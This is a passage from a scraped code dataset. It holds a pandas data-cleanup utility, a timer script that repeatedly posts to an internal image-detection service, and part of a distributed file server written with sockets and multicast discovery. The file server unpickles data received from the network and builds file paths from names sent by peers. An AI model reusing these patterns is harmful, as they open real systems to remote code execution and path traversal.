len(dataframe_row_dedup.index)\n if row_count_diff > 0:\n return True\n return False\n\n # checks if dataframe contains duplicate rows\n if check_row is True:\n dataframe_row_dedup = dataframe[~dataframe.index.duplicated()]\n row_count_diff = len(dataframe.index) - len(dataframe_row_dedup.index)\n if row_count_diff > 0:\n return True\n return False\n\n @staticmethod\n def check_intersection_for_phenotype_and_user_spreadsheet(dataframe_header, phenotype_df_pxs):\n '''\n Checks intersection between phenotype data and user spreadsheet on each drug\n\n Args:\n dataframe_header: the header of dataframe as a list\n phenotype_df_pxs: phenotype dataframe in phenotype x sample\n\n Returns:\n phenotype_df_pxs_trimmed: a trimmed phenotype dataframe\n\n '''\n # a list to store headers that has intersection between phenotype data and user spreadsheet\n valid_samples = []\n\n # loop through phenotype (phenotype x sample) to check header intersection between phenotype and spreadsheet\n for column in range(0, len(phenotype_df_pxs.columns)):\n # drops columns with NA value in phenotype dataframe\n phenotype_df_sxp = phenotype_df_pxs.ix[:, column].to_frame().dropna(axis=0)\n phenotype_index = list(phenotype_df_sxp.index.values)\n # finds common headers\n common_headers = set(phenotype_index) & set(dataframe_header)\n cur_column_name = phenotype_df_pxs.columns[column]\n if not common_headers:\n logger.logging.append(\n \"WARNING: Cannot find intersection on phenotype between user spreadsheet and \"\n \"phenotype data on column: {}. Removing it now.\".format(cur_column_name))\n elif len(common_headers) < 2:\n logger.logging.append(\n \"WARNING: Number of samples is too small to run further tests (Pearson, t-test) \"\n \"on column: {}. Removing it now.\".format(cur_column_name))\n else:\n valid_samples.append(phenotype_df_pxs.columns[column])\n\n if len(valid_samples) == 0:\n logger.logging.append(\"ERROR: Cannot find any valid column in phenotype data \"\n \"that has intersection with spreadsheet data.\")\n return None\n\n # remove the columns that doesn't contain intersections in phenotype data\n phenotype_df_pxs_trimmed = phenotype_df_pxs[sorted(valid_samples)]\n\n return phenotype_df_pxs_trimmed\n\n @staticmethod\n def find_intersection(list_a, list_b):\n '''\n Find intersection between list_a, list_b\n Args:\n list_a: list a\n list_b: list b\n\n Returns:\n intersection: the intersection\n '''\n intersection = list(set(list_a) & set(list_b))\n if not intersection:\n logger.logging.append(\"ERROR: Cannot find intersection between spreadsheet and phenotype data.\")\n return None\n\n return intersection\n\n @staticmethod\n def compare_order(list_a, list_b):\n \"\"\"\n Checks if the input two lists are the same, including order.\n\n Args:\n list_a: list a\n list_b: list b\n\n Returns:\n True: list a and b are exactly the same\n False: list a and b are not same\n\n \"\"\"\n if list_a == list_b:\n return True\n elif sorted(list_a) == sorted(list_b):\n return False\n else:\n return False\n\n @staticmethod\n def check_user_spreadsheet_data(dataframe, check_na=False, dropna_colwise=False, check_real_number=False,\n check_positive_number=False):\n \"\"\"\n Customized checks for input data (contains NA value, contains all real number, contains all positive number)\n Args:\n dataframe: input DataFrame to be checked\n check_na: check NA in DataFrame\n dropna_colwise: drop column which contains NA\n check_real_number: check only real number exists in DataFrame\n check_positive_number: check only positive number exists in DataFrame\n\n Returns:\n dataframe: cleaned DataFrame\n \"\"\"\n # drop NA column wise in dataframe\n if dropna_colwise is True:\n # drops column which check NA in dataframe\n org_column_count = dataframe.shape[1]\n dataframe = dataframe.dropna(axis=1)\n diff_count = org_column_count - dataframe.shape[1]\n if diff_count > 0:\n logger.logging.append(\"INFO: Remove {} column(s) which contains NA.\".format(diff_count))\n\n if dataframe.empty:\n logger.logging.append(\"ERROR: User spreadsheet is empty after removing NA column wise.\")\n return None\n\n # checks if dataframe contains NA value\n if check_na is True:\n if dataframe.isnull().values.any():\n logger.logging.append(\"ERROR: This user spreadsheet contains NaN value.\")\n return None\n\n # checks real number negative to positive infinite\n if check_real_number is True:\n if False in dataframe.applymap(lambda x: isinstance(x, (int, float))).values:\n logger.logging.append(\"ERROR: Found non-numeric value in user spreadsheet.\")\n return None\n\n # checks if dataframe contains only non-negative number\n if check_positive_number is True:\n if False in dataframe.applymap(lambda x: x >= 0).values:\n logger.logging.append(\"ERROR: Found negative value in user spreadsheet.\")\n return None\n\n return dataframe\n\n @staticmethod\n def check_phenotype_data(phenotype_df_pxs, correlation_measure):\n \"\"\"\n Verifies data value for t-test, pearson, and edgeR separately.\n\n Args:\n phenotype_df_pxs: phenotype data\n correlation_measure: correlation measure: pearson, t-test, or edgeR\n\n Returns:\n phenotype_df_pxs: cleaned phenotype data\n\n \"\"\"\n if correlation_measure in ['t_test', 'edgeR']:\n # force any string phenotypes to lowercase\n # TODO: do we know where this requirement came from? are we sure we\n # want this behavior?\n TransformationUtil.force_string_columns_to_lowercase(phenotype_df_pxs)\n phenotype_df_pxs = TransformationUtil.encode_as_binary(phenotype_df_pxs, 2)\n if phenotype_df_pxs.empty:\n return None\n\n if correlation_measure == 'pearson':\n if False in phenotype_df_pxs.applymap(lambda x: isinstance(x, (int, float))):\n logger.logging.append(\n \"ERROR: Only numeric value is allowed in phenotype data when running pearson test. \"\n \"Found non-numeric value in phenotype data.\")\n return None\n\n return phenotype_df_pxs\n","repo_name":"KnowEnG/Data_Cleanup_Pipeline","sub_path":"src/utils/check_util.py","file_name":"check_util.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"18902866951","text":"#coding=utf8\n'''\nrandom.randint(a, b):用于生成一个指定范围内的整数。\n其中参数a是下限,参数b是上限,生成的随机数n: a <= n <= b\n\nrandom.choice(sequence):从序列中获取一个随机元素\n参数sequence表示一个有序类型(列表,元组,字符串)\n\n'''\n#import httplib\nimport time,json\nimport threading\nfrom random import randint,choice \nimport os\nimport requests\nfrom threading import Timer\n#创建请求函数\ndef postRequest():\n '''\n postJson={ \n }\n #定义需要进行发送的数据\n postData=json.dumps(postJson)\n\n #定义一些文件头\n headerdata = {\n \n \"content-type\":\"application/json\",\n }\n \n #接口\n requrl =\"/v1/query\"\n \n #请求服务,例如:www.baidu.com\n hostServer=\"\"\n #连接服务器 \n conn = httplib.HTTPConnection(hostServer)\n #发送请求 \n conn.request(method=\"POST\",url=requrl,body=postData,headers=headerdata)\n \n #获取请求响应 \n response=conn.getresponse()\n #打印请求状态\n if response.status in range(200,300):\n print u\"线程\"+str(threadNum)+u\"状态码:\"+str(response.status) \n conn.close() \n '''\n file = '20180921_50E54921F7C4_00008.jpg'\n imagepath_post = '/data/AI/zhangjing/detectron2/restful/img'\n image = os.path.join(imagepath_post,file)\n data={\"data\":image}\n my_json_data = json.dumps(data)\n headers = {'Content-Type': 'application/json'}\n single_start = time.time()\n stime = time.localtime(single_start)\n poststartime=str(time.strftime(\"%Y%m%d%H%M%S\",stime))\n data_secs = (single_start - int(single_start)) * 1000\n poststartime_sec = poststartime + '-'+str(\"%03d\" % data_secs)\n print('poststart-time:{}'.format(poststartime_sec))\n s = requests\n #r = s.post('http://localhost:8080/user', headers=headers,data = my_json_data,)\n r = s.post('http://192.168.15.112:9527/user', headers=headers,data = my_json_data,)\n single_end = time.time() - single_start\n print ('cam:{}-time:{}'.format(0,single_end))\n \n\n \nif __name__ == '__main__':\n for i in range(10000000): #7\n timer = Timer(2, postRequest) #0.5s=500ms\n timer.start()\n time.sleep(2) \n \n","repo_name":"zj463261929/detectron2-restful","sub_path":"restful/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":2289,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"7155685288","text":"import pickle\nimport sys\nimport socket\nimport os\nimport struct\nfrom _thread import start_new_thread\nimport signal\nimport threading\n\n\nif os.path.exists('files') == False:\n os.mkdir('files')\n\nif os.path.exists('code') == False:\n os.mkdir('code')\n\n\n\n\n\n\ndef handler(signum,frame):\n pickle.dump(bNameCount,open('code/fileCount.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n print('saving structure')\n pickle.dump(root, open('code/root.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n print('Terminating all threads')\n os.system('kill -9 %d' % os.getpid())\n \nprint('NOTE: The server with the latest file system state should be started first or there is a risk of data loss.')\n\n\nsignal.signal(signal.SIGINT, handler)\n\nif (os.path.exists('code/serverDict.pkl')):\n serverDict = pickle.load(open('code/serverDict.pkl','rb'))\nelse:\n print('ERROR: Server Name Configuration file not found')\n print('Starting Server for the first time')\n print('Start at least two servers when starting the system FOR THE FIRST TIME to add backup server for replication.')\n print('Server Names should be unique')\n\n myInp = input('Enter Server Number: ')\n #s1Inp = input('Enter Backup Server Number: ')\n #serverDict = {'myName':'sv'+str(myInp),'server1':'sv'+str(s1Inp)}\n while True:\n try:\n inpNumb = int(myInp)\n \n break\n except:\n myInp = input('Invalid Format.\\nEnter Server Number: ') \n\n serverDict = {'myName':'sv'+str(inpNumb)}\n pickle.dump(serverDict,open('code/serverDict.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n\n\n\nip = ''\nport = 0\nbNameCount = 0\nif(os.path.exists('code/fileCount.pkl')):\n bNameCount = pickle.load(open('code/fileCount.pkl','rb'))\nelse:\n mCo = int(serverDict['myName'][2])\n bNameCount = mCo*100000\n pickle.dump(bNameCount,open('code/fileCount.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n \ninstruct = ['help','dir','delete','upload','download','edit']\n\n\nroot = None\nactiveServers = None\n\n\nclass ServerList:\n def __init__(self,ip,data):\n self.ip = ip\n self.mesg = data.split(' ')\n self.port = int(self.mesg[1])\n self.name= self.mesg[0]\n self.active = False\n self.socket = None\n print(self.mesg)\n\ndef checkUDP():\n serverList = []\n\n message = b'client name'\n multicast_group = ('224.1.1.6', 10006)\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n sock.settimeout(0.2)\n\n ttl = struct.pack('b', 1)\n sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl)\n\n sent = sock.sendto(message, multicast_group)\n\n while True:\n try:\n data, server = sock.recvfrom(16)\n if data.decode().split()[0]!=serverDict['myName']:\n serverList.append(ServerList(server[0],data.decode()))\n except socket.timeout:\n break\n else:\n a=1\n\n sock.close()\n\n \n return serverList\n\n\n\n\nclass Node:\n def __init__(self,name,t,bName,size,sList = None):\n self.name = name\n self.type = t\n self.nbors = []\n self.bName = str(bName)\n self.parent = None\n self.size = size\n if t==False:\n self.servers = sList\n\n def getName(self):\n return self.name\n\n def getType(self):\n return self.type\n\n def getNbors(self):\n return self.nbors\n\n def getBName(self):\n return self.bName\n\n def getParent(self):\n return self.parent\n\n def getNodeByName(self,name):\n for i in self.nbors:\n if(i.getName()==name):\n return i\n \n def rmFileByName(self,name):\n for i in self.nbors:\n if(i.getName()==name and i.type==False):\n self.nbors.remove(i)\n return True,i\n\n return False,i\n\n def rmDirByName(self,name):\n for i in self.nbors:\n if(i.getName()==name and i.type==True):\n \n if(len(i.nbors)>0):\n return False\n\n self.nbors.remove(i)\n return True\n\n return False\n \n\n def addNode(self,name,t,bName,size,sList=None):\n node = Node(name,t,bName,size,sList)\n node.parent = self\n self.nbors.append(node)\n return node\n\n def searchNode(self,node,myList,sName,xName):\n \n if node.type == False:\n \n if sName == node.servers[0] or sName == node.servers[1]:\n if os.path.exists('files/'+node.bName)==False:\n if xName == node.servers[0] or xName == node.servers[1]:\n myList.append(node.bName)\n for i in node.nbors:\n self.searchNode(i,myList,sName,xName)\n\n def searchAllNodes(self,node,myList):\n \n if node.type == False and serverDict['myName'] in node.servers:\n myList.append(node.bName)\n for i in node.nbors:\n self.searchAllNodes(i,myList)\n\n def searchAllNodesCommand(self,node,myList):\n \n if node.type == False:\n myList.append(node.bName)\n for i in node.nbors:\n self.searchAllNodesCommand(i,myList)\n\n def findMin(self):\n global serverDict\n mynewDict = {}\n\n for xy in serverDict.values():\n if xy != serverDict['myName']:\n mynewDict[xy]=0\n \n root.getMinimumFileServer(root,mynewDict,serverDict['myName'])\n \n \n if(len(mynewDict)!=0):\n v = list(mynewDict.values())\n k = list(mynewDict.keys())\n k[v.index(min(v))]\n \n print('FILE TO BE REPLICATED ON SERVER '+k[v.index(min(v))])\n return k[v.index(min(v))]\n return None\n #TEST\n\n\n\n def getMinimumFileServer(self,node,myDict,myName):\n\n if node.type == False:\n for i in node.servers:\n if i != myName:\n if i in myDict:\n myDict[i] = myDict[i]+1\n else:\n myDict[i] = 1\n\n for i in node.nbors:\n self.getMinimumFileServer(i,myDict,myName)\n \n def getNodeByAnyName(self,node,name):\n\n if node.name==name or str(node.bName)==name:\n print(node.name+ ' '+node.bName +' s1:'+node.servers[0]+' +s2'+node.servers[1])\n\n for i in node.nbors:\n self.getNodeByAnyName(i,name)\n\n\n\n\n\n\n\n# root = Node('home',True,str(1),0)\n# root.addNode('notes.txt',False,str(2),0)\n# root.addNode('Work',True,str(11),10)\n# root.addNode('Games',True,str(3),10)\n# root.nbors[2].addNode('NFS',True,str(4),10)\n# root.nbors[2].addNode('COD',True,str(5),10)\n# root.nbors[1].addNode('Office',True,str(6),10)\n# root.nbors[1].addNode('document.txt',False,str(7),10)\n# pickle.dump(root, open('code/root.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n\n\ndef searchFiles():\n global root\n\n\n\n\n\n\n\ndef doServerStuff(sConnected,initiator):\n print('awaiting instruction from server '+sConnected.name)\n \n \n try:\n while True:\n instruct = sConnected.socket.recv(1024).decode()\n x = instruct.split('\\n')\n\n for i in x:\n p = i.split()\n\n if(p[0]=='create'):\n commandAns(i,xType = True)\n\n elif(p[0]=='rm'):\n commandAns(i,xType = True )\n\n elif (p[0]=='incoming'):\n \n \n fName = p[1]\n fSize = int(p[2])\n fBName = p[3]\n fPath = p[4]\n fNew = p[5]=='new'\n nameSERVER = p[6]\n nameSERVER2 = p[7]\n \n spList = [nameSERVER,nameSERVER2]\n binaryN = int(fBName)\n\n \n path = fPath.split('\\\\')\n head = root\n for i in range(2,len(path)):\n \n if(len(path[i])==0):\n continue\n \n head = head.getNodeByName(path[i])\n \n # - decide which server to send t\n\n if fNew:\n cCount = 1\n\n some = head.getNodeByName(fName)\n\n sName= ''\n\n while some != None:\n sName = fName+'('+str(cCount)+')'\n cCount = cCount +1\n some = head.getNodeByName(sName)\n fName = sName\n \n\n head.addNode(fName,False,binaryN,fSize,spList) \n \n else:\n\n try:\n tempNode = head.getNodeByName(fName)\n if os.path.exists('files/'+tempNode.bName):\n os.remove('files/'+tempNode.bName)\n head.nbors.remove(head.getNodeByName(fName))\n except:\n a=1\n\n head.addNode(fName,False,binaryN,fSize,spList)\n\n\n\n except:\n print('SERVER '+sConnected.name+'DISCONNECTED')\n print('Closing socket and removing from active list')\n\n for i in activeServers:\n if i.name == sConnected.name:\n activeServers.remove(i)\n\n sConnected.socket.close()\n\n\n if initiator:\n\n pickle.dump(bNameCount,open('code/fileCount.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n print('saving structure')\n pickle.dump(root, open('code/root.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n startupProtocol()\n\n else:\n print('SERVER '+sConnected.name+'DISCONNECTED')\n print('Closing socket')\n\n return\n\n\n \n #DO STARTUP STUFF AGAIN\n\n\n\n\n\n\n\n#STARTUP PROTOCOL\ndef startupProtocol():\n global root, activeServers,serverDict\n\n\n\n \n\n activeServers = checkUDP()\n if len(activeServers)==0:\n #root = Node('home',True,str(1),0)\n if(os.path.exists('code/root.pkl')):\n root = pickle.load(open('code/root.pkl','rb'))\n else:\n root = Node('home',True,str(1),0)\n delList = os.listdir('files/')\n\n for sc in delList:\n os.remove('files/'+sc)\n\n pickle.dump(root, open('code/root.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n \n \n\n \n else:\n \n if len(serverDict)==1:\n serverDict['server1']=activeServers[0].name\n print('Backup Server Found')\n pickle.dump(serverDict,open('code/serverDict.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n\n\n for i in activeServers:\n \n myIP = i.ip\n myPORT = i.port\n serverSock = socket.socket()\n \n serverSock.connect((myIP,myPORT))\n print('CONNECTED TO SERVER')\n #i.active = True\n i.socket = serverSock\n\n serverSock.send(serverDict['myName'].encode())\n serverSock.recv(1024)\n serverSock.send('startup'.encode())\n\n fileN = int(serverSock.recv(1024).decode())\n print('SENDING '+str(fileN)+' files to server '+i.name)\n serverSock.send('ready'.encode())\n print('RECEIVING FILES')\n print('WAITING FOR FIRST FILE NAME')\n for nM in range (0,fileN):\n fileName = serverSock.recv(1024).decode()\n f = open('files/'+fileName,'rb')\n fileSize = str(os.stat('files/'+fileName).st_size)\n serverSock.send(fileSize.encode())\n\n serverSock.recv(1024)\n \n l = f.read(1024)\n \n while len(l)>0:\n \n serverSock.send(l)\n l = f.read(1024)\n\n f.close()\n\n print('FILE RECEIVING FINISHED')\n\n\n print('RECEIVING STRUCTURE')\n\n fileN = str(1)\n\n while(int(fileN)!=0):\n root = pickle.loads(serverSock.recv(60000))\n \n fileList = []\n root.searchNode(root,fileList,serverDict['myName'],i.name)\n\n allFiles = []\n root.searchAllNodes(root,allFiles)\n\n weHaveFiles = os.listdir('files/')\n\n for xF in weHaveFiles:\n if xF not in allFiles:\n os.remove('files/'+xF)\n\n\n\n fileN = str(len(fileList))\n\n serverSock.send(fileN.encode())\n\n serverSock.recv(1024)\n\n print('SENDING FILES')\n for j in fileList:\n serverSock.send(j.encode())\n\n fSize = serverSock.recv(1024).decode()\n fSize = int(fSize)\n\n serverSock.send('ready'.encode())\n\n f = open('files/'+j,'wb')\n\n cSize = 0\n while fSize > cSize:\n fileContent = serverSock.recv(1024)\n cSize = cSize + len(fileContent)\n f.write(fileContent)\n \n f.close()\n \n serverSock.send('files sending finished'.encode())\n\n print('ACTIVATING SERVER')\n i.active = True\n start_new_thread(doServerStuff,(i,True))\n \n \n\n \n \nstartupProtocol()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef runBroadcastThread(threadName,port):\n \n multicast_group = '224.1.1.6'\n server_address = ('', 10006)\n\n # Create the socket\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n # Bind to the server address\n sock.bind(server_address)\n\n # Tell the operating system to add the socket to\n # the multicast group on all interfaces.\n group = socket.inet_aton(multicast_group)\n mreq = struct.pack('4sL', group, socket.INADDR_ANY)\n sock.setsockopt(\n socket.IPPROTO_IP,\n socket.IP_ADD_MEMBERSHIP,\n mreq)\n\n # Receive/respond loop\n while True:\n print('\\nwaiting to receive message')\n data, address = sock.recvfrom(1024)\n\n name = address[0]\n print(address[0])\n\n print('received {} bytes from {}'.format(\n len(data), address))\n print(data)\n\n print('sending acknowledgement to', address)\n mesg = serverDict['myName'] + ' '+str(port)\n sock.sendto(mesg.encode(), address)\n\n\n\n\n\n\n\n\n\ndef getListString(myList,c = '\\n'):\n \n ans=''\n\n for i in myList:\n ans = ans + c+i\n\n return ans\n\ndef getListStringNodes(myList,c='\\n'):\n \n ans=''\n\n for i in myList:\n ans = ans + c+i.getName()\n\n return ans\n\n\n\n\n\n\ndef commandAns(query,fSock = None,xType = None):\n global bNameCount, root\n\n\n if(xType!=None):\n print('AT SERVER REQUEST - RUNNING QUERY '+query)\n \n\n\n head = root\n\n modified = 'true'\n \n\n q = query.split()\n qPath = q.pop()\n sPath = qPath.split('\\\\')\n path = []\n path.append(head)\n\n for i in range(2,len(sPath)):\n \n if(len(sPath[i])==0):\n continue\n\n head = head.getNodeByName(sPath[i])\n path.append(head)\n\n\n #TESTING\n if(head == None):\n head=root\n path=[]\n path.append(head)\n return 'Directory you were in was deleted',path,head\n print('CAUGHT')\n #TESTING\n \n\n # print(head.getName())\n # print(qPath)\n # print(sPath)\n \n\n cmd = q[0]\n if(cmd == 'help'):\n \n return getListString(instruct),path,head\n\n elif(cmd == 'dir'):\n if(len(head.getNbors())>0):\n \n return getListStringNodes(head.getNbors()),path,head\n else:\n return 'Directory is currently empty',path,head\n\n elif(cmd == 'cd'):\n if(len(q)<2):\n return 'Incomplete - Write more',path,head\n \n if(q[1]=='..'):\n if(head==root):\n return 'You are already at the root directory',path,head\n else:\n head=head.getParent()\n path.remove(path[len(path)-1])\n return 'Directory Changed',path,head\n\n\n newDir = q[1]\n newHead = head.getNodeByName(newDir)\n if(newHead==None):\n return 'Invalid Directory Name',path,head\n \n elif(newHead.type == False):\n return 'Cant switch - the given name is a file',path,head\n else:\n head=newHead\n path.append(head)\n return 'Directory head now at '+head.getName(),path,head\n\n \n elif(cmd =='download'):\n if(len(q)<2):\n return 'Incomplete - Write more',path,head\n \n newDir = q[1]\n newHead = head.getNodeByName(newDir)\n if(newHead==None):\n return 'Invalid File Name',path,head\n \n elif(newHead.type):\n return 'Cant open - the given name is a directory',path,head\n else:\n\n if os.path.exists('files/'+newHead.getBName()):\n \n toSend = 'incoming '+newHead.getName()+' '+str(os.stat('files/'+newHead.getBName()).st_size)+' '+newHead.getBName()+' '+getListStringNodes(path,'\\\\')\n # fSock.send(toSend.encode())\n fSock.send(toSend.encode())\n\n if(fSock.recv(1024).decode()=='ready'):\n f = open('files/'+newHead.getBName(),'rb')\n\n l = f.read(1024)\n \n while len(l)>0:\n \n fSock.send(l)\n l = f.read(1024)\n\n f.close()\n\n confirm = fSock.recv(1024).decode()\n if(confirm == 'T'):\n\n return 'File Opened',path,head\n \n else:\n return 'File failed to open',path,head\n\n \n\n\n return 'File Not Opened',path,head\n else:\n return 'chServer '+newHead.servers[0]+' '+newHead.servers[1]+'\\n'+query,path,head\n\n elif(cmd == 'create'):\n if(len(q)<3):\n return 'Incomplete - Write more',path,head\n \n\n newHead = head.getNodeByName(q[2])\n if(newHead!=None):\n return 'A File or Directory already exists by this name',path,head\n\n if(q[1]=='file'):\n \n \n return 'create '+q[2]+' '+getListStringNodes(path,'\\\\'),path,head\n elif(q[1]=='dir'):\n head.addNode(q[2],True,bNameCount,0)\n bNameCount+=1\n\n\n if(xType == None):\n runUpdateDir(instruct =query)\n\n\n return '\\''+q[2]+'\\' Created in the Current Directory',path,head\n else:\n return 'Incorrect Command',path,head\n elif(cmd == 'upload'):\n if(len(q)<3):\n return 'Incomplete - Write more',path,head\n \n\n newHead = head.getNodeByName(q[2])\n if(newHead!=None):\n return 'A File or Directory already exists by this name',path,head\n\n if(q[1]=='file'):\n \n \n return 'upload '+q[2]+' '+getListStringNodes(path,'\\\\'),path,head\n \n else:\n return 'Incorrect Command',path,head\n\n elif(cmd == 'rm'):\n if(len(q)<3):\n return 'Incomplete - Write more',path,head\n \n if(q[1]=='file'):\n \n delCheck, tempNode = head.rmFileByName(q[2])\n\n if(delCheck):\n if os.path.exists('files/'+tempNode.bName):\n os.remove('files/'+tempNode.bName)\n \n if(xType == None):\n runUpdateDir(instruct =query)\n\n \n return '\\''+q[2]+'\\' Deleted',path,head\n else:\n return 'File doesn\\'t Exist',path,head\n\n elif(q[1]=='dir'):\n \n if(head.rmDirByName(q[2])):\n if(xType == None):\n runUpdateDir(instruct=query)\n return '\\''+q[2]+'\\' Deleted',path,head\n else:\n return 'Directory doesn\\'t Exist or may not be empty',path,head\n\n else:\n return 'Incorrect Command',path,head\n \n else:\n return 'Invalid Command',path,head\n\n\n\n\n\ndef runUpdateDir(fileInfo=None,instruct = None):\n\n \n for i in activeServers:\n if i.active:\n if instruct == None and i.name !=fileInfo[7]:\n \n\n toSend = 'incoming '+fileInfo[1]+' '+str(os.stat('files/'+str(fileInfo[3])).st_size)+' '+str(fileInfo[3])+' '+fileInfo[4]+' '+fileInfo[5]+' '+fileInfo[6]+' '+fileInfo[7]\n i.socket.send(toSend.encode())\n \n print('X SENT')\n elif instruct != None:\n try:\n i.socket.send(instruct.encode())\n except:\n print('NOT SENT')\n \n\n \n\n\n\n\n\ndef runFileSender(fileInfo,serverSend):\n \n sList = checkUDP()\n\n confirm = 'fail'\n\n if(len(sList)==0):\n print('No Servers Found')\n return\n\n for i in sList:\n \n if i.name == serverSend:\n ip = i.ip\n port = i.port\n fSock = socket.socket() \n fSock.connect((ip, port))\n fSock.send(serverDict['myName'].encode())\n fSock.recv(1024)\n#SENDING FILE\n \n toSend = 'incomingServer '+fileInfo[1]+' '+str(os.stat('files/'+str(fileInfo[3])).st_size)+' '+str(fileInfo[3])+' '+fileInfo[4]+' '+fileInfo[5]\n \n \n # fSock.send(toSend.encode())\n\n fSock.send(toSend.encode())\n\n if(fSock.recv(1024).decode()=='ready'):\n\n \n f = open('files/'+str(fileInfo[3]),'rb')\n \n\n\n l = f.read(1024)\n \n while len(l)>0:\n \n fSock.send(l)\n l = f.read(1024)\n\n f.close()\n \n confirm = fSock.recv(1024).decode()\n \n \n if(confirm == 'success'):\n\n print('File Successfully Saved')\n else:\n print('Failed')\n\n fSock.close()\n\n\n\n return confirm\n\n\n\n\n\ndef serverComm(threadName,delay,fSock,addr,nameSERVER):\n global bNameCount,root, serverDict\n\n \n\n fSock.send('connected'.encode())\n\n\n \n\n head = root\n status= 'fail'\n \n \n #pathString= getListStringNodes(path,'\\\\')\n\n status = 'success'\n\n instruct = fSock.recv(1024).decode()\n p = instruct.split()\n \n # if(serverDict['myName']=='sv2'):\n # print('hi3')\n\n if(p[0]=='startup'):\n if len(serverDict)==1:\n serverDict['server1']=nameSERVER\n print('Backup Server Found')\n pickle.dump(serverDict,open('code/serverDict.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n\n\n\n\n print('RECEIVED CONNECTION FROM SERVER')\n\n fileList = []\n root.searchNode(root,fileList,serverDict['myName'],nameSERVER)\n\n noOfFiles = str(len(fileList))\n print('Requesting '+noOfFiles + 'from server '+nameSERVER)\n fSock.send(noOfFiles.encode())\n\n fSock.recv(1024)\n\n for j in fileList:\n fSock.send(j.encode())\n\n fSize = fSock.recv(1024).decode()\n fSize = int(fSize)\n\n fSock.send('ready'.encode())\n\n f = open('files/'+j,'wb')\n\n cSize = 0\n while fSize > cSize:\n fileContent = fSock.recv(1024)\n cSize = cSize + len(fileContent)\n f.write(fileContent)\n \n f.close()\n \n \n \n fileN = str(1)\n\n while(int(fileN)!=0):\n\n mesg = pickle.dumps(root)\n print('SENT STRUCTURE')\n fSock.send(mesg)\n print('WAITING FOR NUMBER OF FILES TO RECEIVE')\n fileN = int(fSock.recv(1024).decode())\n print('SENDING '+str(fileN)+' files to server '+nameSERVER)\n fSock.send('ready'.encode())\n print('WAITING FOR FIRST FILE NAME')\n for i in range (0,fileN):\n fileName = fSock.recv(1024).decode()\n f = open('files/'+fileName,'rb')\n fileSize = str(os.stat('files/'+fileName).st_size)\n fSock.send(fileSize.encode())\n\n fSock.recv(1024)\n \n l = f.read(1024)\n \n while len(l)>0:\n \n fSock.send(l)\n l = f.read(1024)\n\n f.close()\n fSock.recv(1024)\n \n newServer = ServerList(addr,nameSERVER+' 0')\n newServer.socket = fSock\n newServer.active = True\n activeServers.append(newServer)\n\n doServerStuff(newServer,False)\n\n\n elif(p[0]=='rm'):\n\n \n print('IS THIS CODE RUNNING?')\n q = instruct.split()\n qPath = q.pop()\n sPath = qPath.split('\\\\')\n path = []\n path.append(head)\n\n for i in range(2,len(sPath)):\n \n if(len(sPath[i])==0):\n continue\n\n head = head.getNodeByName(sPath[i])\n path.append(head) \n \n\n delCheck, tempNode = head.rmFileByName(q[2])\n\n if(delCheck):\n if os.path.exists('files/'+tempNode.bName):\n os.remove('files/'+tempNode.bName)\n fSock.send('successful delete'.encode())\n else:\n fSock.send('unsuccessful delete'.encode())\n else:\n fSock.send('unsuccessful delete'.encode())\n\n \n \n \n\n\n elif (p[0]=='incoming' or p[0]=='incomingServer'):\n \n fSock.send('ready'.encode())\n fName = p[1]\n fSize = int(p[2])\n \n fBName = p[3]\n \n fPath = p[4]\n \n fNew = p[5]=='new'\n\n if(p[0]=='incoming'):\n print('INCOMING FILE '+fName+' FROM CLIENT')\n\n xsName = root.findMin()\n if xsName == None:\n print('File Not Replicated - Connect at least one server')\n xsName = 'nv'\n \n spList = [serverDict['myName'],xsName]\n\n while os.path.exists('files/'+str(bNameCount)):\n bNameCount = bNameCount + 1\n \n binaryN = bNameCount\n bNameCount = bNameCount + 1\n p[3]=str(binaryN)\n else:\n print('INCOMING FILE '+fName+' FROM SERVER')\n spList = [nameSERVER,serverDict['myName']]\n binaryN = int(fBName)\n \n\n\n\n f = open('files/'+str(binaryN),'wb')\n \n cSize = 0\n while fSize > cSize:\n fileContent = fSock.recv(1024)\n cSize = cSize + len(fileContent)\n f.write(fileContent)\n \n f.close()\n\n \n path = fPath.split('\\\\')\n \n for i in range(2,len(path)):\n \n if(len(path[i])==0):\n continue\n \n head = head.getNodeByName(path[i])\n \n # - decide which server to send to \n\n \n\n\n if fNew:\n cCount = 1\n\n some = head.getNodeByName(fName)\n\n sName= ''\n\n while some != None:\n sName = fName+'('+str(cCount)+')'\n cCount = cCount +1\n some = head.getNodeByName(sName)\n fName = sName\n \n\n head.addNode(fName,False,binaryN,fSize,spList) \n \n else:\n\n try:\n tempNode = head.getNodeByName(fName)\n if os.path.exists('files/'+tempNode.bName):\n os.remove('files/'+tempNode.bName)\n head.nbors.remove(head.getNodeByName(fName))\n except:\n a=1\n\n head.addNode(fName,False,binaryN,fSize,spList)\n \n if p[0]=='incoming':\n\n if fNew:\n xvar = 'new'\n else:\n xvar = 'old'\n \n myFileInfo=['incoming',p[1],p[2],binaryN,p[4],p[5],spList[0],spList[1]]\n \n \n status = runFileSender(myFileInfo,spList[1])\n runUpdateDir(fileInfo = myFileInfo)\n\n if(status == None):\n status='replication failed'\n print(status)\n if(status == None):\n status='directory replication failed'\n print(status)\n\n\n \n #DELETE FILE FROM SERVER\n\n fSock.send(status.encode()) #FILE SUCCESSFULLY WRITTEN\n \n fSock.close()\n\n return\n\n\n\n\ndef clientComm(threadName,delay,sock,addr):\n global root\n head = root\n path = []\n 